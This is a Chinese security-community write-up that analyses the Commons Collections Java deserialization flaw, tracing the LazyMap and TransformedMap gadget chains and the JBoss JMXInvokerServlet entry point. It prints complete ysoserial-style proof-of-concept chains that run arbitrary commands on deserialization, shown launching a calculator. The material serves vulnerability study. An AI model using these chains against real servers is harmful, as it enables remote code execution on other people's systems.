先知安全技术社区独家发文,如需转载,请先联系社区授权;未经授权请勿转载

前言:

玄铁重剑,是金庸小说笔下第一神剑。由「玄铁」制成,重八八六十四斤;由「剑魔」独孤求败所使,四十岁前持之无敌于天下。 独孤求败逝去后为杨过所得,并由独孤求败的「朋友」神雕引导,之后在神雕的指导下,也根据独孤求败的独门秘籍及练功方法,练成了一身天下无敌的剑法及内功心法。

主角:

CommonsCollection, commons-collections.jar

介绍:

Java Collections Framework 是JDK 1.2中的一个重要组成部分。它增加了许多强大的数据结构,加速了最重要的Java应用程序的开发。从那时起,它已经成为Java中集合处理的公认标准。官网介绍如下:

Commons Collections使用场景很广,很多商业,开源项目都使用到了commons-collections.jar。
很多组件,容器,cms(诸如WebLogic、WebSphere、JBoss、Jenkins、OpenNMS等)的rce漏洞都和Commons Collections反序列被披露事件有关。

正文:

光是在ysoserial中,Commons Collections反序列化漏洞就被分成了4组,分别是CommonsCollections1,CommonsCollections2,CommonsCollections3,CommonsCollections4,关于CommonsCollection的分析,由于篇幅过长,笔者会将其分为上下两篇。
CommonsCollections1是目测现在网上被分析的最多的一篇文章了吧,随便搜索一下,就可以看到很多分析的文章。我这里整理几篇分析比较经典的文章,如果你想深入了解,强烈建议静下心来好好阅读一番。http://wooyun.jozxing.cc/static/drops/papers-10467.html
https://security.tencent.com/index.php/blog/msg/97
在org.apache.commons.collections.functors.InvokerTransformer.java的位置,其transform函数内容如下:

public Object transform(Object input) {
if (input == null) {
    return null;
}
try {
    Class cls = input.getClass();
    Method method = cls.getMethod(iMethodName, iParamTypes);
    return method.invoke(input, iArgs);

} catch (NoSuchMethodException ex) {
    throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
    throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
    throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}

在这个函数中,调用了java反射机制,下面写一个正常的例子测试一下:

InvokerTransformer invokerTransformer = new InvokerTransformer("append", new Class[]{String.class}, new Object[]{new String("sb")});
Object result = invokerTransformer.transform(new StringBuffer("who am i")) ;
System.out.printf(result.toString());

有些朋友会想,那么我该如何去执行命令呢?java常见执行命令的方式有两个,分别是 new processBuilder(cmd).start()和Runtime.getRuntime().exec(cmd)。我们可以构造如下代码:
运行下面这段代码可以弹出计算器,mac下

String[] cmds = new String[]{"open", "/Applications/Calculator.app/"};
InvokerTransformer invokerTransformer1 = new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{cmds});
invokerTransformer1.transform(Runtime.getRuntime());

win下

String[] cmds = new String[]{"calc.exe"};
InvokerTransformer invokerTransformer1 = new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{cmds});
invokerTransformer1.transform(Runtime.getRuntime());

当然这样也可以

ProcessBuilder processBuilder = new ProcessBuilder("open", "/Applications/Calculator.app/");
InvokerTransformer invokerTransformer1 = new InvokerTransformer("start", new Class[]{}, new Object[]{});
invokerTransformer1.transform(processBuilder);

案例

java有一个特征,不管经过几层封装,封装成什么类型,最终在readObject的时候,都会按照被封装的倒序去执行readObject。(ps:这是一段极其抽象的话,为了解释这段抽象的话,我画了一个看起来很抽象的画,在下师从抽象派大师梵高)

即使最后是读者们执行readObject,最后也会一层一层到上帝来执行readObject,具体例子如下:

public class A implements Serializable {
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
    try {
        System.out.printf("whoami");
        new ProcessBuilder("calc.exe").start();
    } catch (IOException e) {
        e.printStackTrace();
    }
}
}

public class Main {
public static class A implements Serializable {
    private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
        try {
            System.out.printf("whoami");
            //Runtime.getRuntime().exec(new String[]{"calc.exe"});
            new ProcessBuilder("calc.exe").start();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

public static void main(String[] args) {
    try {
        //写对象到文件中
        writeObjectToFile();
        //从文件中反序列化obj对象
        FileInputStream fis = new FileInputStream("object.txt");
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
        ois.close();
    } catch (Exception e) {
        e.printStackTrace();
    }

}

public static void writeObjectToFile() throws FileNotFoundException, IOException {
    A myObj = new A();
    FileOutputStream fos = new FileOutputStream("object.txt");
    ObjectOutputStream os = new ObjectOutputStream(fos);
    os.writeObject(myObj);
    os.close();

}

}

整个程序流程如下,先调用writeObjectToFile 函数将类A的对象序列化并保存到文件object.txt中,第二个流程是打开object.txt,并执行readObject函数,那么最终会执行到类A中定义的readObject函数,该函数中可以用做恶意操作,例如用来执行命令等,运行完这个流程后弹出了计算器。
CVE-2015-8103刚出来的时候,boss直接被捅成了马蜂窝(威力可见一斑)。通过透漏的信息,我们得知 invoker/JMXInvokerServlet在这个请求中,找到jboss invoker/JMXInvokerServlet这个接口,我们可以查看其源码
在 文件 org.jboss.invocation.http.servlet.InvokerServlet.java 中,其中函数processRequest中有这么一个片段

可以很清晰地看到,其作用是直接将request请求的数据直接给反序列化了,如果我们能找到某个序列化类,并在其readObject函数中直接或者间接调用了InvokerTransformer.transform,岂不是美滋滋。
查看 InvokerTransformer.transform的被调用情况,调用的地方有很多,其中 LazyMap.get()是ysoserial中提到的,网上也有很多都是基本分析TransformedMap.checkSetValue的。接下来会对两种poc分析

情况1(LazyMap.get())

这部分也是ysoserial中提到的,其poc最终调用的是AnnotationInvocationHandler.readObject函数。可是当跟进这个函数的时候,发现并没有出现LazyMap.get(),但是在invoke中的出现了调用。看到invoke这个函数,有必要和大家说下基本的动态代理知识了。
InvocationHandler的使用例子例子如下:

public interface Subject {
public void doSomething();

public void readObject();

}

public class RealSubject implements Subject {
@Override
public void doSomething() {
System.out.println("RealSubject");
}

@Override
public void readObject() {
System.out.println("RealSubject readObject");
}
}
public class ProxyHandler implements InvocationHandler {
private Object proxied;

public ProxyHandler(Object proxied) {
this.proxied = proxied;
}

@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("ProxyHandler invoke");
return method.invoke(this.proxied, args);
}
}
public class DynamicProxy {
public static void main(String[] args){
RealSubject real = new RealSubject();
Subject proxySubject = (Subject) Proxy.newProxyInstance(Subject.class.getClassLoader(),
new Class[]{Subject.class},
new ProxyHandler(real));

proxySubject.readObject();
}
}

运行main函数之后,运行结果如下:

很显然,再生成动态代理对象后,该对象执行的任何成员方法都会经过invoke函数。至于为什么这么做,大家想想,其实动态代理是对类功能的加强,比如你现在有一个person类,你想在perosn所有的成员函数之前加一个初始化一些环境变量,在运行之后回收环境变量的操作,怎么做,每个函数都去加这些?很显然用这种动态代理的方式就方便多了,所有函数都会经过invoke,那么直接就在method.invoke(this.proxied, args)前后初始化和回收环境好了(扯着扯着就扯到AOP编程的知识了,有些扯远了)
其中LazyMap.get()函数内容如下:

factory的赋值通过decorate函数

public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}

懂了这些之后,再回过头来看分析整个流程,我们理顺一下整个poc。我理出了大概的调用链如下
AnnotationInvocationHandler.readObject()->AnnotationInvocationHandler.invoke()->LazyMap.get()->InvokerTransformer.transform()

直接借助InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{execArgs});会提示

具体的原因是因为,在 get(Object key)函数中默认传入的entrySet,而不是Runtime.getRuntime()。
其中ChainedTransformer中的transform比较有意思

public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

transform(object)中传入的object是一前一个transform(object),最终构造如下:

final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class
}
, new Object[]{
    "getRuntime", new Class[0]
}
),
    new InvokerTransformer("invoke", new Class[]{
    Object.class, Object[].class
}
, new Object[]{
    null, new Object[0]
}
),
    new InvokerTransformer("exec",
    new Class[]{
    String.class
}
, execArgs),
    new ConstantTransformer(1)
}
;

ysoserial中完整的poc如下:

inal String[] execArgs = new String[] { command };
final Transformer transformerChain = new ChainedTransformer(
    new Transformer[]{ new ConstantTransformer(1)
}
);
final Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class
}
, new Object[] {
"getRuntime", new Class[0]
}
),
    new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class
}
, new Object[] {
null, new Object[0]
}
),
    new InvokerTransformer("exec",
    new Class[] {
String.class
}
, execArgs),
    new ConstantTransformer(1)
}
;
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
// arm with actual transformer chain
return handler;

其实通过分析可以找到很多调用链的,比如
InvokerTransformer.transform()->TransformedMap.checkSetValue()->AbstractInputCheckedMapDecorator.setValue()->TreeMap.put()->CoreDocumentImpl.readObject()

还有一种比较简单的调用,直接是
InvokerTransformer.transform()->TransformedMap.checkSetValue()->AbstractInputCheckedMapDecorator.setValue()->AnnotationInvocationHandler.readObject()

情况2(TransformedMap.checkSetValue)

下面针对InvokerTransformer.transform()->TransformedMap.checkSetValue()->AbstractInputCheckedMapDecorator.setValue()->AnnotationInvocationHandler.readObject()
这条调用链来构造poc:

Map map = new HashMap();
Map transformedmap = TransformedMap.decorate(map, null, transformerChain);
InvocationHandler handler = (InvocationHandler) getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler").newInstance(Retention.class, transformedmap);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);

到这里并没有成功弹出计算器,当执行到AnnotationInvocationHandler.readObject()时,下面这段代码不会执行。

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) {
    // i.e. member still exists
    Object value = memberValue.getValue();
    if (!(memberType.isInstance(value) ||
        value instanceof ExceptionProxy)) {
        memberValue.setValue(
            new AnnotationTypeMismatchExceptionProxy(
            value.getClass() + "[" + value + "]").setMember(
            annotationType.members().get(name)));

要其执行要满足两个条件,memberValues不能为空,并且memberType不能为空
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
memberTypes是Retention,查找下注释Retention中的成员,发现有一个value。

那么memberValues只需要put一个键值对,其键为value即可,memberValues.put('value', 'xxx'),完整poc如下:

public InvocationHandler getObject(final String command) throws Exception {
final String[] execArgs = new String[]{command};
// inert chain for setup
// real chain for after setup
final Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{
    String.class, Class[].class
}
, new Object[]{
    "getRuntime", new Class[0]
}
),
    new InvokerTransformer("invoke", new Class[]{
    Object.class, Object[].class
}
, new Object[]{
    null, new Object[0]
}
),
    new InvokerTransformer("exec",
    new Class[]{
    String.class
}
, execArgs),
    new ConstantTransformer(1)
}
;
final Transformer transformerChain = new ChainedTransformer(
    new Transformer[]{new ConstantTransformer(1)
}
);
//Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
Map transformedmap = TransformedMap.decorate(map, null, transformerChain);
transformedmap.put("value", "xx");
Class cls = Class
    .forName("sun.reflect.annotation.AnnotationInvocationHandler");
InvocationHandler handler = (InvocationHandler) getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler").newInstance(Retention.class, transformedmap);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
return handler;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections7.class, args);
}
public static Boolean isApplicableJavaVersion() {
return JavaVersion.isAnnInvHUniversalMethodImpl();
}
public static Constructor getFirstCtor(final String name)
    throws Exception {
final Constructor<?> ctor = Class.forName(name)
    .getDeclaredConstructors()[0];
ctor.setAccessible(true);
return ctor;
}
public static Field getField(Class<?> clazz, String fieldName) throws NoSuchFieldException {
Field field = clazz.getDeclaredField(fieldName);
if (field != null)
    field.setAccessible(true); else if (clazz.getSuperclass() != null)
    field = getField(clazz.getSuperclass(), fieldName);
field.setAccessible(true);
return field;
}
public static void setField(Object object, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = getField(object.getClass(), fieldName);
field.set(fieldName, value);
}

参考链接

https://github.com/frohoff/ysoserial

点击收藏 | 0 关注 | 1
登录 后跟帖

先知社区


热门节点

TOC目录